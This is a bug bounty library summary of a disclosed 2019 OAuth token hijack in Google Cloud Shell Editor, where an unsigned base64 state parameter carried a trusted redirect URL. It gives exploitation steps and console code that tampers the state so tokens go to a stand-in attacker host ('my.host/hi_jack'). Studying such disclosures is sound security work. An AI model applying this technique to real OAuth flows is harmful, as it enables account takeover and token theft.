# The oauth token hijacking in Google Cloud Shell Editor

OAuth state parameter in Google Cloud Shell Editor was base64 JSON with attacker-controllable AppURL, letting an attacker redirect the auth code/token to their own host and hijack the victim's session.

- Payout: $5,000
- Severity: high
- Program: Google
- Found by: Obmi
- Disclosed: 2019-12-15
- Write-up quality: 7/10
- Original: https://obmiblog.blogspot.com/2019/12/gcp-5k-oauth-token-hijack.html
- Library page: https://bugbountylibrary.com/r/blog%3Aobmiblog-blogspot-com-2019-12-gcp-5k-oauth-token-hijack-html
- Tags: area:cloud domain:cloud impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:gcp tech:oauth technique:param-pollution vuln:account-takeover vuln:open-redirect

**Target:** Google Cloud Shell Editor OAuth flow (devshell.appspot.com /_cloudshellProxy/oauth2callback)
**Root cause:** The OAuth `state` parameter was a base64-encoded JSON blob containing an `AppURL` field that the server trusted for post-auth redirect without integrity protection (no signature), so a tampered state redirected the authorization code/token to an attacker-controlled host.
**Steps:**
1. Open https://970-dot-000000-dot-devshell.appspot.com unauthenticated; observe redirect to accounts.google.com/o/oauth2/auth with `state=eyJ...`
2. Decode state: `atob(decodeURIComponent(state))` reveals JSON `{"XSRFToken":"...","AppURL":"https://970-dot-00000-dot-devshell.appspot.com/"}`
3. Modify `obj.AppURL = "https://my.host/hi_jack?"` and re-encode with `encodeURIComponent(btoa(JSON.stringify(obj)))`
4. Send victim the crafted authorize URL with tampered state; after consent, server redirects to `https://my.host/...` carrying the generated token/code
5. Attacker host captures the token and uses it to access the victim's Cloud Shell editor
**How found:** Noticed the `state` parameter looked like base64; decoded it in the browser console and saw a JSON object with an `AppURL` field matching the current host, then hypothesized it was trusted for redirect and tampered with it.
**Exploitation:** Attacker crafts an OAuth authorize link with a tampered base64 state whose AppURL points to attacker host, lures victim to grant access; the devshell callback trusts AppURL and forwards the generated access token to the attacker's domain, yielding session hijack of the victim's Cloud Shell editor.
**Insight:** OAuth `state` is often base64 JSON rather than opaque; decode it and look for URL/host fields the server later redirects to — tampering those can turn state into an open redirect that leaks the code/token.

## Proof of concept (copied exactly from the original report)

**Tampered OAuth state with attacker AppURL**

```
> var obj = JSON.parse( atob( decodeURIComponent( 'eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' )))

> obj.AppURL = "https://my.host/hi_jack?"

> encodeURIComponent(btoa(JSON.stringify(obj)))
```

**Decoded state showing AppURL field**

```
> atob(decodeURIComponent('eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' ))

<

"{ "XSRFToken":"4lJyUdofxhnPyEbyolzW5VcwtmQ:1553939411960", "AppURL": "https://970-dot-00000-dot-devshell.appspot.com/"}
```

